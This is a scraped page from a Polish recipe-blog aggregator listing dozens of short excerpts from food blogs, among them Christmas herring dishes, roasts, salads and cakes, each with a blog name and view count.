blogu, jak i na świątecznym półmisku. Takich jeszcze nie było! Słone kawałki śledzia otoczone cebulką i aromatycznymi suszonymi grzybami, które odgrywają niemałą rolę w świątecznym menu. Całość opływająca lekkim sosem na bazie miodu z dodatkiem tymianku i żurawiny. Wytrawna strona Świąt zamknięta w słoiczku, którego otwarcie powoduje odurzenie przepięknym zapachem...pomimo zawartości śledzia ;) Słodko- słony, z wyraźnym, pieprznym akcentem smak

Kuchnia w Słońcu Skąpana
pieczone przepiórki 279

oliwek Przepiórki ponacierać solą i pieprzem, każdą zawinąć w boczek (korpus i nogi). Wstawić do piekarnika nagrzanego do 180°C i piec, aż po nakłuciu wykałaczka wypływać będzie przezroczysty sos. Wyjąć, dać chwile odpocząć, podawać

stajnia gołębie od kuchni
Tradycyjne Ciasto Zebra- na oranżadzie 176

kakao, a do drugiej mąkę oraz kilka kropli aromatu pomarańczowego. Spód tortownicy wyłożyć papierem do pieczenia, boki zaś wysmarować masłem i obsypać mąką. Łyżkę (najlepiej chochelką lub łyżką do sosu) jasnego ciasta wylać na środek formy, na nią wlać chochelkę ciemnego ciasta- wlewać tak na przemian, aż do wyczerpania ciasta. Piec w 180 stopniach przez 45 minut, a najlepiej

Kraina Miodem Płynąca
SCHAB W SOSIE WŁASNYM 176

przesmażaniu cebuli.  Do gorącego bulionu przekładamy obsmażone plastry schabu. Dodajemy cebulę, ziele ang, listek laurowy, doprawiamy wywar solą. Dusimy na wolnym ogniu przez ok 45 minut. Gotowy sos możemy zagęścić mąką

Z Majeczką w kuchni
Karp w śmietanie 156

stron, zlać z patelni nadmiar tłuszczu (o ile taki pozostał), a do podsmażonej na patelni ryby i cebuli wlać śmietankę kremówkę i dusić przez kilka minut, do czasu aż sos śmietanowy nieco zgęstnieje. Na koniec doprawić jeszcze ewentualnie solą i świeżo zmielonym pieprzem. Przełożyć rybę na półmisek i oprószyć świeżo posiekaną natką pietruszki. Smacznego! The post Karp w śmietanie appeared

Kulinarne Przeboje
Ciepłe kanapki z tuńczykiem i awokado 169

Ciepłe kanapki zimą to idealny początek dnia. Dziś przygotowałam je z tuńczykiem w sosie własnym, awokado i pieczona papryką. Paprykę można upiec samemu w piekarniku i potem obrać ze skórki albo tak jak ja, nie miałam czasu więc wyjęłam ją ze słoika i gotowe. Zapraszam na pyszne śniadanie. Kanapki z tuńczykiem, awokado i pieczoną papryką. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Śledzie sułtańskie 154

danie łączy ze sobą wyrazisty smak słonego śledzia oraz słodkawej cebuli i rodzynek. Całość skąpana jest w pikantnym sosie pomidorowym, a dodatek octu sprawia że ryba jest bardzo delikatna i krucha. Wspaniałe danie wigilijne! Składniki: 4-5 filetów śledziowych (około 400 g) 3 łyżki octu 10% 80 g rodzynek 2 cebule 3 łyżki oleju słonecznikowego 3 listki laurowe

Pyry na Gaz
Ciasteczka pomarańczowe z masą figowo-orzechową 160

figowo-orzechową. Smacznego (adsbygoogle = window.adsbygoogle || []).push({}); To też może Ci ę zainteresować: → Ciasteczka cytrynowo-pomarańczowe → Ciasteczka czekoladowe z orzechami pekan i jagodami goji → Pieczone figi z orzechami włoskimi i sosem z czerwonego wina → Pasta figowa z orzechami włoskimi → Ciasteczka brownie z migdałami i amaretto

Oryginalny smak
Surówka na słodko do obiadu 149

pomidor malinowy 3 korniszony 1 łyżeczka sambal oelek 1 łyżka miodu 2 łyżki majonezu 1 łyżka śmietany 18% sól, pieprz Przygotowanie Sałatę siekamy. Ananas, korniszony, pomidor kroimy w kostkę. Sos mieszamy z majonezem, miodem i śmietaną. Do smaku doprawiamy solą i pieprzem. Całość dokładnie łączymy

R'n'G Kitchen
Pulpeciki w sosie pomidorowym z makaronem 149

rozgrzanym oleju. Rosół rozgrzewamy, dodajemy passatę, przyprawy i zagotowujemy. Zmniejszamy płomień i wrzucamy pulpety. Dusimy przez kwadrans na małym ogniu. W tym czasie gotujemy makaron, Odcedzamy i dodajemy do sosu. Mieszamy

R'n'G Kitchen
Churros – przepis na Hiszpańską przekąskę 359

oleju. Smażymy kilka minut z każdej strony na złoty kolor, po czym gotowe churrosy wyciągamy i układamy na ręczniku papierowym w celu odciągnięcia nadmiary tłuszczu. Hiszpańskie churros podajemy z sosem czekoladowym, cukrem pudrem, lub jak w moim przypadku cukrem cynamonowym czyli mieszanką cukru z cynamonem. Powyższy przepis uczyni solidny półmisek złocistych churrosów. Smacznego. Hiszpańskie churros – przepis Zapraszam również do skorzystania

Księga-Smaku
Chrupiąca choinka z grzybami 208

marchewka, pasternak, cebula, ziemniaki, seler, pomidory, por, papryka, natka pietruszki), suszone zioła i naturalne przyprawy oraz sól morska. Tylko tyle i aż tyle. Vegetą Natur można doprawiać, mięsa, zupy, sosy, zapiekanki, farsze, dania z warzyw, grzybów. Wzbogaci smak dania, ale nie przytłumi go. Rodzina Vegeta Natur to ponad 30 produktów, które mają te samą bazę, ale w konkretnych mieszankach proporcje

Smaczna Pyza
Małdrzyki krakowskie 143

konfiturą, polewą, miodem, syropem. Dzieci je uwielbiają! – zaliczam do nich moją córkę, która zajadała małdrzyki bez dodatków. Dziś małdrzyki krakowskie w wersji mniej słodkiej, do której pasują wszelakie sosy, np. pomidorowy, serowy, gulasz warzywny lub mięsny z delikatnego białego mięsa. Dodajcie surówkę, a obiad gotowy. Do wersji na słodko wystarczy dodać cukru pudru lub cukru z wanilią, większą szczyptę

Zasmakuj Kuchni
Omułki , mule po belgijsku 213

się co dziwić w końcu to ich narodowy przysmak jak u nas kaczka , czy gęś lub karp na święta . Serwują je obowiązkowo z belgijskimi frytkami i różnymi sosami . Doskonała lekka, dietetyczna i pełna wartości odżywczych potrawa . Poniżej najprostszy przepis ulubiony ,mojego starszego syna i mojego M . Taki podstawowy czyli najlepszy . Zachęcam , spróbujcie chociaż raz bo naprawdę warto W naszym kraju

Ogrodnik w podróży
Sałatka ziemniaczana o smaku Tzatzyki 172

Sałatka ziemniaczana o smaku Tzatzyki Pyszna i prosta sałatka o smaku sosu Tzatzyki , dla wszystkich , którzy kochają czosnkowe aromaty Podstawą tej sałatki są ziemniaki , a co za tym idzie jest naprawdę bardzo syta . Jest to danie które z powodzeniem zastąpi obiad lub go uzupełni . Kolacja z takim smakołykiem to prawdziwa uczta . Odradzam tylko jej serwowanie na randce , szczególnie na pierwszej

Ogrodnik w podróży
Tort naleśnikowy z mięsnym ragù i pieczarkami (Torta di crepes con ragù di carne e funghi champignon) 170

którym chciałam się dziś z Wami podzielić, skomponowałam z kilku warstw naleśników przełożonych mięsnym ragù z pieczarkami i suszonymi pomidorami. Proste w wykonaniu danie, przypominające smak włoskiej lasagne z sosem bolońskim. A wegetarianom przypominam o moim wcześniejszym przepisie na tort naleśnikowy z grillowanymi warzywami . Polecam serdecznie ;):) **** Oggi vorrei condividere con Voi una ricetta perfetta per il pranzo della

La grande e la piccola cuoca
Bitki wołowe z papryką z wolnowaru 163

proszku, wymieszać. Dorzucić paprykę pokrojoną w paski, puszkę pomidorów, posiekany czosnek, pastę paprykową. Dodać szklankę bulionu wołowego lub czerwonego wina. Zagotować. Do misy wolnowaru włożyć mięso, zalać je przygotowanym sosem. Gotować w ustawieniu low przez 8-10 godzin. Smacznego

Stare Gary
Warstwowa sałatka śledziowa Szuba 509

białka ścieramy osobno na tarce o drobnych oczkach. Majonez mieszamy ze śmietaną i przyprawami. Do szklanej salaterki układamy po kolei połowę składników: – ziemniaki – śledzie – cebula – marchewka – buraczki – białko jajka – sos majonezowy Następnie wykładamy drugą połowę składników w takiej samej kolejności. Na ostatnią warstwę sałatki wykładamy żółtko i posiekany szczypiorek. Sałatkę najlepiej odstawić przed podaniem na kilka godzin do lodówki

e-PrzepisyKulinarne
JAK UDEKOROWAĆ ŚWIĄTECZNY STÓŁ? #GotowiNaŚwięta 188

liście sałaty, kwiaty wycięte z rzodkiewek i ozdobne biedronki zrobione z jajek. Postawmy na dodatek serów, świeże zioła, chrupiące paluszki, różnorakie pieczywo i dodatki w postaci konfitur czy też sosów. Zachowajmy umiar w ozdobach, a postawmy na doskonałej jakości produkty. U mnie w tym roku królują produkty marki Konspol z serii NATURA – Kabanosy z kurczaka, Szynka z wędzarni, Kiełbasa

Ostra na Słodko
SURÓWKA Z KISZONEJ KAPUSTY I MARCHEWKĄ 200

surówka z kiszonej kapusty i marchewki>>> halibut smażony , ryż na sypko i surówka z kiszonej kapusty i marchewki>>> pulpeciki z indyka w sosie koperkowym, ziemniaki z wody i surówka z kiszonej kapusty i marchewki>>> kotlety mielone z cebulką z kaszą i surówką z kiszonej kapusty i marchewki>>> Smacznego

Moja Książka Kucharska
Śledzie gajowego 421

wolnym ogniu pod przykryciem. Dodać pokrojone grzyby, koncentrat pomidorowy, doprawić cukrem, wlać ocet i całość wymieszać, posolić do smaku, poddusić razem 5 minut. Odstawić do wystygnięcia. Śledzie wymieszać z sosem. Odstawić na 2-3 dni do lodówki aby smaki się przegryzły. Pycha śledzik na świąteczny stół. Smacznego

Wanilia i Kardamon
Kaczka pieczona w pomarańczach 249

środka kaczki. Związuję nogi. Kaczkę układam na blaszce. Polewam pozostałą marynatą i przykrywam. Kaczkę piekę około 2 godzin w temperaturze 190 stopni. Co jakiś czas mięso polewam utworzonym sosem. Upieczoną kaczkę wykładam na półmisek i dzielę na porcje

Tradycyjna kuchnia Kasi
Drożdżowa choinka 205

łączymy z posiekaną bazylią oraz papryką. Smarujemy ponownie podpieczoną choinkę, posypujemy parmezanem i wstawiamy do piekarnika jeszcze na ok 10 minut. Podajemy na ciepło lub na zimno z aromatycznymi sosami. Sposób przygotowania ciasta w Tefal Companion: Wszystkie składniki na ciasto umieszczamy w misie TC z założonym ostrzem do wyrabiania. Uruchamiamy program Pastry P1, jeśli ciasto zbytnio się klei, dosypujemy

Kuchnia w czekoladzie
Zimowa owsianka z płatkami quinoa i gruszką 187

plastry i dusić z obu stron po 2 minuty. Do naczyń przełożyć owsiankę, na wierzch położyć gruszkę i posypać np. mielonym lnem, pistacjami, płatkami migdałów, makiem.  Całość polać sosem miodowym, w którym dusiły się gruszki

AZgotuj!
UDKA KACZE W POMARAŃCZACH I MIODZIE 236

pomarańczach z dodatkiem miodu. Ich dodatkowym atutem jest szybkość ich przygotowania i to , że praktycznie robią się same.  Składniki: 4 udka kacze sól,pieprz marynata: 3 łyżki sosu sojowego 3 łyżki soku z pomarańczy 2 łyżki miodu- można dać 1 łyżkę jeśli chcemy mniej słodkie dodatkowo 1 pomarańcza do wyciskania w trakcie pieczenia Wykonanie : Udka myjemy, osuszamy, nacieramy solą

Z Majeczką w kuchni
Pieczone nuggetsy z kurczaka 188

Piecz one nuggetsy z kurczaka Proste, pyszne, idealne na obiad lub przyjęcie. Do tak przygotowanych kawałków kurczaka najczęściej podaję domowy sos czosnkowy i zestaw surówek. Dzisiejsza wersja jest na pewno lżejszą od tej, którą prezentowałabym Wam np. tutaj . Tym razem naszych nuggetsów nie smażymy na tłuszczu, a pieczemy. Spróbujcie. Do przygotowania pieczonych nuggetsów użyłam płatków kukurydzianych z e-Dana . Polecam

Słodkie okruszki
Bazyliowy kurczak pieczony z suszonymi pomidorami i ząbkami czosnku 161

zapewniam, że doskonale komponują się delikatnym drobiem. Polecam! 1 kg dowolnych części z kurczaka (u mnie 2 duże ćwiartki przekrojone na połowę) Marynata: 2 łyżki oleju 1 łyżka sosu sojowego 1 łyżeczka soli ziołowej (płaska) 1 łyżka suszonej bazylii 1/2 łyżeczki papryki słodkiej 1/2 łyżeczki papryki ostrej 1/2 łyżeczki czosnku granulowanego Dodatkowo: 30g suszonych pomidorów 6 ząbków czosnku (dużych) Wszystkie

Di gotuje
Schab w galarecie 411

Espumisan Max to wyrób medyczny CE”.   Pyszny schab w galarecie na różne okazję, w sam raz lub święta. Taki schab można podawać z sosem chrzanowym. Składniki: schab pieczony - 1 kg Galareta :  1/2 l wywaru z warzyw żelatyna na 0,5 l wywaru Dekoracja : marchewka gotowana papryka konserwowa groszek konserwowy kukurydza konserwowa natka pietruszki sól i pieprz Przygotowanie

Kuchnia Danusi
Sałatka z pieczonego bakłażana i papryki 211

oraz posiekaną natkę pietruszki. Dodać ulubione oliwki. Składniki do dressingu umieścić w miseczce i energicznie wymieszać do powstania aksamitnej emulsji, na koniec dodać posiekany czosnek, wymieszać. Przygotowane warzywa polać sosem i delikatnie przemieszać. Sałatkę przed podaniem powinno się schłodzić, wtedy smakuje najlepiej. Smacznego

Wino Francja Kuchnia
Fasola z klopsikami 163

miękkie, ale po podsmażeniu staną się bardziej zwarte, a po ugotowaniu będą delikatne. Usmażone klopsiki dodać do fasoli i dusić około 15 minut. Zobacz również: klopsiki z indyka w sosie koperkowym

Kuchcik gotuje
Schab faszerowany boczkiem i ogórkiem kiszonym. Przepis krok po kroku. 203

przez 30-35 minut. Dzięki temu mięso będzie chrupiące z zewnątrz i soczyste w środku.     Podawaj z ziemniakami puree i sosem myśliwskim.   Na pierwszy i drugi dzień świąt przygotowuje zazwyczaj coś z pieca. Dlatego najczęściej jest to kawał soczystego mięsa. W tym roku postawiłem

kuron.com.pl
Uszka z kapustą i grzybami. 205

razem wszystko odmierzałam specjalnie dla Was :) Jeszcze taka moja rada, nie wylewam wody od gotowania grzybów. Wlewam ją do woreczków na lód i zamrażam. Wykorzystuję później do sosów. Składniki na ciasto: 3,5 szklanki maki pszennej 1,5 szklanki gorącej wody 4 łyżki oleju duża szczypta soli Składniki na farsz: 800 g. kapusty kiszonej 100 g. grzybów suszonych 1 cebula

Agusiowe smakołyki
Ziemniaczane kulki z pieczarkami 177

godzinkę , żeby się utwardziły . Smażymy na rozgrzanym , głębokim oleju . Jak nabiorą złocistej barwy , wykładamy na papierowy ręcznik ,żeby się pozbyć nadmiaru tłuszczu . Serwujemy na gorąco z dowolnymi dodatkami , czy sosami . Smacznego ! Artykuł Ziemniaczane kulki z pieczarkami pochodzi z serwisu Ogrodnik w podróży

Ogrodnik w podróży
Szynka pieczona w rękawie 261

Aromatyczna, prosta w przygotowaniu pyszna domowa szynka. Idealna na kanapki lub na obiad. Sposób podania pozostawiam Wam Ja dziś zjadłam sporo na bagietce z ogórkiem, serem i pysznym domowym sosem. Coś cudownego Przygotowanie takiej szynki jest naprawdę proste. Wystarczy ją najpierw zamarynować (najlepiej dzień wcześniej, zostawiamy szynkę na noc w lodówce), a potem upiec w rękawie. W domu zawsze

Słodkie okruszki
Naleśniki – przepis podstawowy 126

uwielbiam naleśniki jeść, podawać. Jeśli smażę więcej to z zamiarem przygotowania krokietów, najczęściej z kapustą i grzybami lub warzywnych z serem, takich chrupiących i gorących, które podaję np. z sosem pomidorowym. Naleśniki często przygotowuję z tego przepisu, lubię także inne wersje, np. kiedy do ciasta dodaję wodę gazowaną lub olej. Wersji jest kilka, a zawsze są jednakowo pyszne. Zapraszam

Zasmakuj Kuchni
Smażona wątróbka cielęca 215

odpocząć”. Przed podaniem przygotowujemy puree ziemniaczane. Ubijamy je bardzo starannie na gładką masę dodając z międzyczasie kilka łyżeczek śmietany, łyżkę masła oraz płaską łyżeczkę gałki muszkatołowej. Wątróbkę podajemy z sosem z szalotek i puree ziemniaczanym. Kulinarna Pokusa Post Smażona wątróbka cielęca pojawił się poraz pierwszy w Kulinarna Pokusa

Kulinarna Pokusa
WARSZTATY CZEKOLADOWE W PRACOWNI CZEKOLADY E.WEDEL I PRZEPIS NA IDEALNY SUFLET 195

haczyk i gdzie tkwi sekret idealnego przyrządzenia. Jak wysmarować formy do fondantów? Co zrobić, żeby suflet nie opadł? Jak upiec kremowy sernik? Jak idealnie roztopić czekoladę? Jak zrobić szybki sos do deserów? Jak przygotować pyszny spód do sernika na szybko? Te i wiele innych ciekawostek zdradzili prowadzący. Choć laikiem w słodkościach nie jestem to o wielu rzeczach nie wiedziałam

Ostra na Słodko
Menu na tydzień: Przedświąteczna dieta oczyszczająca 188

kebab z kurczaka z warzywnymi szaszłykami Poniedziałek: Pieczone bakłażany z bulgurem słodko-wytrawnym Wtorek: Libański kebab z sałatką tabbouleh z kuskusem z kalafiora Środa: Północnoafrykańskie pulpeciki w pomidorowo-szafranowym sosie Czwartek: Marokańska zupa z bobu i rzepy Piątek: Hinduskie rybne krokiety Piszemy o postnych sprawach, bo obydwoje w Niedzielnym Kucharzu poczuliśmy potrzebę zrobienia menu lżejszego, bez mięsa, nie przeładowanego przyprawami

Niedzielny kucharz
Boczek pieczony z liśćmi laurowymi i płatkami czosnku 170

naprawdę smaczny oraz bardzo aromatyczny, więc jeśli lubicie takie wysokokaloryczne, mięsne przysmaki - to z pewnością musicie go upiec! Polecam. 1-1,2 kg boczku wieprzowego Marynata:   3 łyżki sosu sojowego 2 łyżki majeranku (płaskie) 1 łyżeczka papryki słodkiej  1 łyżeczka papryki ostrej 1/2 łyżeczki tymianku   1,5 łyżeczki soli  Dodatkowo:  5 liści laurowych 2 garście

Di gotuje
Czekoladowe ciasto "Błoto Mississippi" 171

śmietanki 30 % i 100 gram gorzkiej czekolady 64% Masło, wodę, espresso i połamaną na kawałki czekoladę umieszczamy w rondelku - podgrzewany aż  składniki połączą się w gęsty sos. Odstawiamy do wystudzenia. Ponieważ na wierzchu tworzył się ciemny kożuch mieszałam zawartość dość często. Do miski przesiewamy mąkę z kakao, proszkiem do pieczenia i sodą. Do drugiego naczynia wybijamy jaja, wlewamy jogurt

AZgotuj!
Gulasz z boczniaków 146

małym ogniu pod przykryciem, około 30 minut. Gdy boczniaki będą all dente dodajemy śmietankę i chwilę dusimy.Musi się delikatnie zredukować ( zagęścić). Przyprawiamy ewentualnie do smaku solą lu pieprzem, sos ma być lekko ostry.Podajemy z ziemniakami, kaszą lub bułką z czym wolicie. Zapraszam do wypróbowania

Sama słodycz i szczypta chili
Brukselka z jałowcem 147

lekko nakroić na krzyż od strony głąba.  Brukselkę dodać do przesmażonej szalotki, chwilę smażyć i dolać bulion.  Przykryć i gotować do czasu aż brukselka będzie miękka, a sos zgęstnieje. Doprawić do smaku solą i pieprzem.  Podawać jako dodatek do mięs.  Smacznego

Codzienne Gotowanie
Śledź w śmietanie, jabłkiem i cebulą 177

należy pokroić w dzwonki.  Majonez mieszamy razem ze śmietaną, solą i pieprzem. Jabłka i cebulę obieramy i kroimy w kostkę. Aby owoce nie ciemniały szybko wrzucamy je do sosu śmietanowego. Doprawiamy do maku i wykładamy na śledzie. Całość posypałam nasionami chia. Smacznego

Słodki Zakątek
SCHAB MIODOWO-MUSZTARDOWY Z KOLOROWYM PIEPRZEM + KONKURS AMBITION! 181

pieprzu, układamy w brytfannie z dodatkiem masła i wkładamy do nagrzanego na 200C piekarnika ( przykrywamy na ok. 30 minut. Po tym czasie pieczemy odkryty oblewając co jakiś czas powstałym sosem ). Ps. do przegotowania schabu wykorzystałam nowości od AMBITION –  Brytfannę owalną Taurus , posiadającą pokrywę o podwójnej funkcjonalności. Może ona służyć jako normalna pokrywka, ale również jako patelnia grillowa. Czegoś

Ostra na Słodko
Hash browns 174

się w latach pięćdziesiątych XX wieku, kiedy stało się daniem śniadaniowym w przydrożnych motelach. Dla mnie to kolejny ciekawy i prosty sposób przygotowania ziemniaków, który możemy podać z dowolnym sosem. Składniki: - ziemniaki Wykonanie: Ziemniaki obieramy i kroimy na tarce o grubych oczkach. Wrzucamy do wody, żeby wypłukać skrobię. Mieszamy, wylewamy wodę i powtarzamy zabieg. Wrzucamy do durszlaka i czekamy

Kryzysowa Książka Kucharska
Domowe wędliny i mięsa na Boże Narodzenie 702

talerzu wędlin świetnie sprawdzą się na zimno peklowane szynki i peklowana rolada z boczku. Pasztet pieczony klasyczny sprawdzi się w obu wersjach – podany na zimno, z sosem chrzanowym lub żurawiną, albo jedzony na ciepło – po podgrzaniu. Podobnie piernikowa rolada z wieprzowej łopatki – świetna będzie jako pieczeń podana na obiad w pierwszy dzień świąt, a po całkowitym schłodzeniu

Karo in the Kitchen
Buraczki do obiadu 290

Przyznam Wam szczerze, że jako dziecko omijałam surówki z buraczków, teraz jest inaczej. Przygotowanie takich buraczków jest naprawdę proste. Taka surówka wspaniale smakuje do mielonego, kotletów i najróżniejszych mięsnych sosów. Spróbujcie. Składniki: około 500 g buraczków (upieczonych lub ugotowanych, waga po obraniu)* 1 mniejsze jabłko 1/2 czerwonej cebuli sok z połowy cytryny (opcjonalnie 2 łyżki octu) cukier do smaku (ilość

Słodkie okruszki
Quesadilla z kurczakiem, papryką i kukurydzą 183

przy pomocy dużego talerza, który trzeba przyłożyć do patelni i sprawnym ruchem obrócić-następnie zsunąć z talerza na patelnię), smażymy kolejne 2 minuty. Kroimy jak pizze-podajemy z ulubionym sosem i sałatką

Kopystką po garach
Klasyczne bułki do hamburgerów – idealnie puszyste, w godzinę! 358

hamburgerów w przeciwieństwie do chleba czy pizzy wyrastają tylko raz, w lekko rozgrzanym piekarniku – są gotowe do zjedzenia w godzinę! Miękkie, lekkie i sprężyste – świetnie znoszą napakowanie mnóstwem sosów, dodatków i ciężar dużego burgera . Kulinarna pozycja obowiązkowa – przeczytajcie wszystkie wskazówki, zakasajcie rękawy i do dzieła! PRZYGOTOWANIE CIASTA Bardzo lekko podgrzewamy piekarnik w który włożymy bułki do podrośnięcia – temperaturę wewnątrz piekarnika

Karo in the Kitchen
Makaron z groszkiem cukrowym i boczkiem – obiad w 15 minut 287

szybsze gotowanie. Makaron do tego dania powinien być ugotowany al dente – spokojnie dojdzie przez chwilę łączenia i podgrzewania z dodatkami. Ja wybrałam swój ukochany makaron czyli bucatini – ale ten sos równie dobrze, a może nawet wygodniej do jedzenia – będzie komponował się z makaronem krótkim – kolankami, kolankami z falbanką, świderkami i małymi muszelkami – nie ograniczajcie się tutaj, użyjcie swojego ulubionego makaronu

Karo in the Kitchen
Surówka z fenkułu – surówka z kopru włoskiego 167

drugą połową bulwy i jabłkiem – tniemy tak samo, bez gniazda nasiennego, ale skórkę na jabłku zostawiamy. W miseczce mieszamy miód z octem jabłkowym i oliwą, zalewamy takim prostym sosem pocięte ingrediencje, dokładnie mieszamy. Orzechy włoskie z grubsza siekamy na desce i posypujemy nimi surówkę. Możecie użyć zwykłych orzechów – świeżo wyłuskanych, ale dla pełniejszego aromatu i kruchości warto je podprażyć przez

Karo in the Kitchen
Pałki kurczaka z piekarnika 128

serem. Pałki ułożyłem na natłuszczonej blasze. Wstawiłem do piekarnika nagrzanego do temperatury 200 stopni C. Piekłem do czasu, aż pałki się zrumieniły, a z mięsa po nakłuciu wypłynął przejrzysty sos. Można podać z cząstkami cytryny

R'n'G Kitchen
barszcz czerwony po mojemu 452

sposób ocet balsamiczny nabiera niepowtarzalnego zapachu, koloru i smaku. Młody ocet balsamiczny o wodnistej konsystencji doskonale nadaje się do przyprawiania sałat, marynowania mięs i ryb, jako baza sosu vinegrette. Produkt o średnim wieku dojrzewania jest idealny (poza przyprawianiem warzyw) do podniesienia walorów smakowych risotto, mięs, ryb, zup-kremów oraz sałatek owocowych. Ocet balsamiczny gęsty, czyli taki, który ma więcej niż

w mojej kuchni
Śledzie w śmietanie z jabłkiem i cebulą 4962

Śledzie w śmietanie najczęściej zajadamy w formie dania obiadowego, gdzie używamy do jego wykonania słodkiej śmietanki 18%, a masa jest dość płynną i pełni funkcję sosu. Śledzie w śmietanie na obiad koniecznie muszą być z jabłkiem, cebulą oraz ziemniakami. Świąteczne śledzie w śmietanie zaś przyrządzamy bardziej na gęsto – a przepis na nie pojawi się wkrótce na blogu. Polecam

Kulinarne Przeboje
POTRAWKA Z KURCZAKA Z ROSOŁU 127

zrobić z tego zasmażkę. Następnie wlać rosół, wsypać cukier i dodać sok z cytryny, zagotować co chwilę mieszając. W szklance wymieszać śmietanę z żółtkami. Przygotowaną zawiesinę wlać do sosu, wymieszać. na końcu dodać pokrojoną marchewkę i mięso. Tak przygotowaną potrawkę najlepiej podawać z ryżem ( u mnie ryż basmati  Skworcu

Zrób to smacznie
Maślano- piernikowa tarta z jabłkami i porzeczkami 179

cukier, zalać wodą, wymieszać. Podgrzewać nie mieszając, a jedynie lekko obracając patelnią  do momentu aż cukier się skarmelizuje i nabierze złotego koloru. Dodać masło, wymieszać do połączenia. Do sosu karmelowego wsypać pokrojone w ósemki jabłka, porzeczki i przyprawy. Smażyć wszystko przez chwilę, mieszając, aż część owoców się lekko rozpadnie. Skrobię ziemniaczaną rozpuścić w kilku łyżkach wody, dodać do owoców

olalacooking
Zupa krem z pieczonej dyni 158

ząbki, koncentrat pomidorowy 3 łyżeczki, liść laurowy 2 szt, kurkuma 1/4 łyżeczki, carry 1/4 łyżeczki, papryka słodka 0,5 łyżeczki, kolendra 1/4 łyżeczki, sól i pieprz do smaku, sos sojowy do smaku, imbir do smaku, papryka ostra do smaku, olej do smażenia, Sposób przygotowania: W garnku rozgrzewamy olej. Wrzucamy posiekaną cebulkę i chwilkę podsmażamy. Następnie dodajemy wszystkie przyprawy i podsmażamy

kulinarne odsłony pati
Tort orzechowo - kawowy 257

schłodzenia i stężenia kremu. Polewa czekoladowa: Czekoladę posiekać, umieścić w miseczce. Śmietankę kremówkę podgrzać do wrzenia, zalać nią posiekaną czekoladę. Odstawić na chwilę, następnie wymieszać do otrzymania gładkiego sosu czekoladowego. Odstawić do przestudzenia i lekkiego zgęstnienia, od czasu do czasu mieszając. Na schłodzony tort wylać gęstniejącą polewę, pozwalając, by spływała po bokach ( można najpierw łyżeczką wylewać polewę na krawędź tortu

Opowieści z piekarnika
Szybkie przekąski na święta i nie tylko 4172

słupki oraz plastry kurczaka. Całość ciasno zwiń w rulon. Pokrój nożem w plasterki lub pod kątem w słupki. Podawaj same z sosem czosnkowym lub słodkim chilli.   Kolejna propozycja to  Roladki z pieczonego schabu z twarożkiem i rukolą . Jako bazę wykorzystałem pieczony schab wieprzowy NATURRINO to produkt

kuron.com.pl
Smażone brokuły z patelni po azjatycku 180

wody , octu , cukru i oleju sezamowego . Jeszcze minutę smażymy , mieszając po czym wykładamy na talerze . Serwujemy natychmiast , na gorąco z dowolnymi dodatkami , ale najlepiej smakują z piersią kaczki w sosie Hoisin Smacznego ! (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Smażone brokuły z patelni po azjatycku pochodzi z serwisu Ogrodnik w podróży

Ogrodnik w podróży
Surówka kopenhaska 179

inne surówki i sałatki z sałatą lodową: Zielona Surówka Z Sałatą I Kiełkami Surówka Z Sałaty I Pomarańczy Sałatka Imprezowa Z Tortellini Sałatka Z Kurczakiem I Sałatą Lodową W Sosie Czosnkowym Lekka Sałatka Z Selerem Naciowym I Sałatą (263 Kcal) Artykuł Surówka kopenhaska pochodzi z serwisu e-PrzepisyKulinarne.pl

e-PrzepisyKulinarne
Szakszuka z mięsem i papryką 178

minut. Dolewamy przecier pomidorowy i dosypujemy przyprawy (papryczkę chilli kroimy na mniejsze kawałki) i posiekany czosnek. Dusimy jeszcze 10 minut a następnie podnosimy pokrywkę, aby płyn odparował. Gdy sos stanie się gęsty wybijamy na wierzch delikatnie jajka i przykrywamy - trzymamy na ogniu aż białko się zetnie. Podajemy ze świeżym pieczywem

Gotowanie jest łatwe
Pierogi z pudrem grzybowym 142

Pierogi z pudrem z grzybów leśnych. Żeby zrobić taki puder potrzebujemy młynek do kawy. Polecam taki puder zrobić na zapas, przechowywać w słoiczku i dodawać go do sosów, ciasta pierogowego. Pierogi będą wam na pewno smakować. Idealne na Wigilie. W mojej rodzinie co roku robimy pierogi, jedne robię z pudrem a część bez. Tradycji musi stać się zadość

wesoła kuchnia
Panierowane polędwiczki z piersi kurczaka z orzechową nutą 159

polędwiczki z delikatną nutą orzeszków ziemnych. Naprawdę smakują przepysznie! Czasami jeden lub dwa składniki mogą całkowicie odmienić smak potrawy... Polecam!   400g polędwiczek z piersi kurczaka Marynata: 4 łyżki sosu sojowego 2 łyżki jogurtu naturalnego 1 łyżka masła orzechowego 1 łyżeczka suszonego koperku (lub ulubionych ziół) 1/2 łyżeczki papryki słodkiej 1/2 łyżeczki papryki ostrej Panierka: 1 jajko + 2 łyżki mleka

Di gotuje
Pikantna sałatka owocowa 123

łyżeczki cukru Przygotowanie Owoce umyłem, ogórek i pomarańczę obrałem, morele wydrylowałem, z ananasa wyciąłem miąższ. Owoce pokroiłem na duże kawałki, ogórek w plasterki. Wszystkie składniki sałatki ostrożnie wymieszałem. Przygotowałem sos z tabasco, cukru i pasty oelek. Polałem nim sałatkę, wymieszałem. Stawiłem do lodówki na 2 godziny

R'n'G Kitchen
Roladki z karkówki i białej kiełbasy 158

Wykwintna wyżerka dla mięsożerców ;) Mięso z mięsem w mięsnym sosie :P Do tego porcja pyrów i zasmażanej kapust :P nic, tylko leżakować po takiej porcji

R'n'G Kitchen
PASZTET DROBIOWY Z GRZYBAMI, BEZGLUTENOWY 216

mnie prawie 400g, miałam chude mięsa, praktycznie bez skór), ja daję tłuszcz od smażenia mięs, ale można dać oliwę, olej, masło klarowane, kremówkę, itp., ilość dowolna) - 2 łyżki sosu sojowego (nie trzeba, ostatnio zapomniałam i wyszedł super...) - 1 łyżka roztartego w dłoniach aromatycznego majeranku (nie trzeba) - tłuszcz do smażenia: pieczarek, wątróbki, cebuli, czosnku i ewentualnie mięsa, gdy mamy surowe Mięso

Smaczne Zdrowe
Krakersy z pastą serowo-czosnkową 182

Polecam Wam też inne smakowite przekąski … – Sałatka z szynką i ananasem – Czosnkowe supełki – Serowe kulki – Krakersy z pastą z tuńczyka – Jajka w sosie tatarskim – Sałatka z brokułami i szynką

Kulinarne S.O.S.
Zupa z fasolą 187

